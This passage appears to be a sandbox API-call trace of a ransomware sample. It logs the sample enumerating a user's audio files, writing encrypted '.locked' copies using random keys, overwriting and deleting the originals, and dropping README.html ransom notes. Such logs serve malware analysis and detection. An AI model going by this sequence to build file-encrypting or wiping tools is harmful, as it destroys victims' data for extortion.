	[0076.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b2db00, ftCreationTime.dwHighDateTime=0x1d4d352, ftLastAccessTime.dwLowDateTime=0xb0b62110, ftLastAccessTime.dwHighDateTime=0x1d4d089, ftLastWriteTime.dwLowDateTime=0xb0b62110, ftLastWriteTime.dwHighDateTime=0x1d4d089, nFileSizeHigh=0x0, nFileSizeLow=0x9780)) returned 1
	[0076.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.716] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.717] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0076.717] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0076.717] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0076.717] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.717] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0076.719] SetEvent (hEvent=0x80) returned 1
	[0076.719] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeab0*=0x9780, lpOverlapped=0x0) returned 1
	[0076.721] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeabc*=0x9780, lpOverlapped=0x0) returned 1
	[0076.722] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0076.722] CloseHandle (hObject=0xc4) returned 1
	[0076.723] CloseHandle (hObject=0xc0) returned 1
	[0076.723] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.724] SetEvent (hEvent=0x80) returned 1
	[0076.724] SetEvent (hEvent=0x8c) returned 1
	[0076.724] SetEvent (hEvent=0xb4) returned 1
	[0076.724] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.724] SetEvent (hEvent=0xa8) returned 1
	[0076.724] SetEvent (hEvent=0xb4) returned 1
	[0076.724] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee774*=0x60) returned 1
	[0076.726] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav")) returned 1
	[0076.744] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.744] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.744] SetEvent (hEvent=0xa8) returned 1
	[0076.744] SetEvent (hEvent=0x8c) returned 1
	[0076.748] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.749] SetEvent (hEvent=0x8c) returned 1
	[0076.749] SetEvent (hEvent=0xb4) returned 1
	[0076.749] SetEvent (hEvent=0x80) returned 1
	[0076.749] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.749] SetEvent (hEvent=0x80) returned 1
	[0076.751] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.751] SetEvent (hEvent=0x80) returned 1
	[0076.751] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.751] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.752] SetEvent (hEvent=0x80) returned 1
	[0076.752] SetEvent (hEvent=0xb4) returned 1
	[0076.752] SetEvent (hEvent=0x8c) returned 1
	[0076.752] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.752] SetEvent (hEvent=0x8c) returned 1
	[0076.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.753] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0076.753] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.780] CloseHandle (hObject=0xc0) returned 1
	[0076.789] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\QIy9IyIY-0h7uwPYNL0R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\qiy9iyiy-0h7uwpynl0r.wav")) returned 1
	[0076.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19dfe40, ftCreationTime.dwHighDateTime=0x1d4c7fe, ftLastAccessTime.dwLowDateTime=0xdc5aa9a0, ftLastAccessTime.dwHighDateTime=0x1d4c74f, ftLastWriteTime.dwLowDateTime=0xdc5aa9a0, ftLastWriteTime.dwHighDateTime=0x1d4c74f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19dfe40, ftCreationTime.dwHighDateTime=0x1d4c7fe, ftLastAccessTime.dwLowDateTime=0xdc5aa9a0, ftLastAccessTime.dwHighDateTime=0x1d4c74f, ftLastWriteTime.dwLowDateTime=0xdc5aa9a0, ftLastWriteTime.dwHighDateTime=0x1d4c74f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19dfe40, ftCreationTime.dwHighDateTime=0x1d4c7fe, ftLastAccessTime.dwLowDateTime=0xdc5aa9a0, ftLastAccessTime.dwHighDateTime=0x1d4c74f, ftLastWriteTime.dwLowDateTime=0xdc5aa9a0, ftLastWriteTime.dwHighDateTime=0x1d4c74f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173230c0, ftCreationTime.dwHighDateTime=0x1d4cefd, ftLastAccessTime.dwLowDateTime=0xbda48750, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0xbda48750, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11264, dwReserved0=0x0, dwReserved1=0x0, cFileName="1n9mZlXtVJQa.mp3", cAlternateFileName="1N9MZL~1.MP3")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63a89040, ftCreationTime.dwHighDateTime=0x1d4cf7d, ftLastAccessTime.dwLowDateTime=0x7953a250, ftLastAccessTime.dwHighDateTime=0x1d4ca22, ftLastWriteTime.dwLowDateTime=0x7953a250, ftLastWriteTime.dwHighDateTime=0x1d4ca22, nFileSizeHigh=0x0, nFileSizeLow=0x39b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ckXQCN.m4a", cAlternateFileName="")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fc64b40, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3bba960, ftLastAccessTime.dwHighDateTime=0x1d4c80c, ftLastWriteTime.dwLowDateTime=0x3bba960, ftLastWriteTime.dwHighDateTime=0x1d4c80c, nFileSizeHigh=0x0, nFileSizeLow=0xc08d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dDmVhFOTxc0LmAQWyaPe.wav", cAlternateFileName="DDMVHF~1.WAV")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a88b340, ftCreationTime.dwHighDateTime=0x1d4d5a9, ftLastAccessTime.dwLowDateTime=0x37ae27f0, ftLastAccessTime.dwHighDateTime=0x1d4d092, ftLastWriteTime.dwLowDateTime=0x37ae27f0, ftLastWriteTime.dwHighDateTime=0x1d4d092, nFileSizeHigh=0x0, nFileSizeLow=0x10036, dwReserved0=0x0, dwReserved1=0x0, cFileName="KFdOG YU1A.wav", cAlternateFileName="KFDOGY~1.WAV")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93c38920, ftCreationTime.dwHighDateTime=0x1d4c8dd, ftLastAccessTime.dwLowDateTime=0xf4346520, ftLastAccessTime.dwHighDateTime=0x1d4cfe2, ftLastWriteTime.dwLowDateTime=0xf4346520, ftLastWriteTime.dwHighDateTime=0x1d4cfe2, nFileSizeHigh=0x0, nFileSizeLow=0x8bfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="LHQ_.wav", cAlternateFileName="")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e7cee0, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xc59bc350, ftLastAccessTime.dwHighDateTime=0x1d4c567, ftLastWriteTime.dwLowDateTime=0xc59bc350, ftLastWriteTime.dwHighDateTime=0x1d4c567, nFileSizeHigh=0x0, nFileSizeLow=0xdf8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS5-y5c0kVk2a6a2FXp.mp3", cAlternateFileName="TS5-Y5~1.MP3")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb519c240, ftCreationTime.dwHighDateTime=0x1d4ccb8, ftLastAccessTime.dwLowDateTime=0x14590070, ftLastAccessTime.dwHighDateTime=0x1d4ca18, ftLastWriteTime.dwLowDateTime=0x14590070, ftLastWriteTime.dwHighDateTime=0x1d4ca18, nFileSizeHigh=0x0, nFileSizeLow=0x4a61, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ah8_aG2wGS0sIoarvQg.wav", cAlternateFileName="_AH8_A~1.WAV")) returned 1
	[0076.798] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.798] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.798] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec04 | out: lpMode=0x127eec04) returned 0
	[0076.799] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eebf4, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eebf4*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.800] CloseHandle (hObject=0xc0) returned 1
	[0076.800] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x6d, lpNumberOfCharsWritten=0x127ee784, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee784*=0x6d) returned 1
	[0076.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173230c0, ftCreationTime.dwHighDateTime=0x1d4cefd, ftLastAccessTime.dwLowDateTime=0xbda48750, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0xbda48750, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11264)) returned 1
	[0076.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.802] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.802] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.802] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c420 | out: pbBuffer=0x1238c420) returned 1
	[0076.802] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796260 | out: pbBuffer=0x12796260) returned 1
	[0076.803] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.803] WriteFile (in: hFile=0xc4, lpBuffer=0x123e7000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x123e7000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0076.805] SetEvent (hEvent=0xb4) returned 1
	[0076.805] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x11264, lpOverlapped=0x0) returned 1
	[0076.807] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11264, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0x11264, lpOverlapped=0x0) returned 1
	[0076.808] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0076.808] CloseHandle (hObject=0xc4) returned 1
	[0076.810] CloseHandle (hObject=0xc0) returned 1
	[0076.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.810] SetEvent (hEvent=0xb4) returned 1
	[0076.810] SetEvent (hEvent=0x8c) returned 1
	[0076.810] SetEvent (hEvent=0x80) returned 1
	[0076.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.811] SetEvent (hEvent=0x80) returned 1
	[0076.811] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1250a000*, nNumberOfCharsToWrite=0x68, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x1250a000*, lpNumberOfCharsWritten=0x127ee710*=0x68) returned 1
	[0076.813] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3")) returned 1
	[0076.831] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.832] SetEvent (hEvent=0xa8) returned 1
	[0076.832] SetEvent (hEvent=0x8c) returned 1
	[0076.836] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.836] SetEvent (hEvent=0x8c) returned 1
	[0076.836] SetEvent (hEvent=0x80) returned 1
	[0076.836] SetEvent (hEvent=0xb4) returned 1
	[0076.836] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.837] SetEvent (hEvent=0xb4) returned 1
	[0076.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.839] SetEvent (hEvent=0xb4) returned 1
	[0076.839] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.839] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.839] SetEvent (hEvent=0xb4) returned 1
	[0076.839] SetEvent (hEvent=0x80) returned 1
	[0076.839] SetEvent (hEvent=0x8c) returned 1
	[0076.840] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.840] SetEvent (hEvent=0x8c) returned 1
	[0076.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.840] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0076.841] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.856] CloseHandle (hObject=0xc0) returned 1
	[0076.864] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\1n9mZlXtVJQa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\1n9mzlxtvjqa.mp3")) returned 1
	[0076.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a88b340, ftCreationTime.dwHighDateTime=0x1d4d5a9, ftLastAccessTime.dwLowDateTime=0x37ae27f0, ftLastAccessTime.dwHighDateTime=0x1d4d092, ftLastWriteTime.dwLowDateTime=0x37ae27f0, ftLastWriteTime.dwHighDateTime=0x1d4d092, nFileSizeHigh=0x0, nFileSizeLow=0x10036)) returned 1
	[0076.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.874] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.875] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.875] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0076.875] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796130 | out: pbBuffer=0x12796130) returned 1
	[0076.875] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.875] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0076.877] SetEvent (hEvent=0x80) returned 1
	[0076.878] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x10036, lpOverlapped=0x0) returned 1
	[0076.880] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10036, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0x10036, lpOverlapped=0x0) returned 1
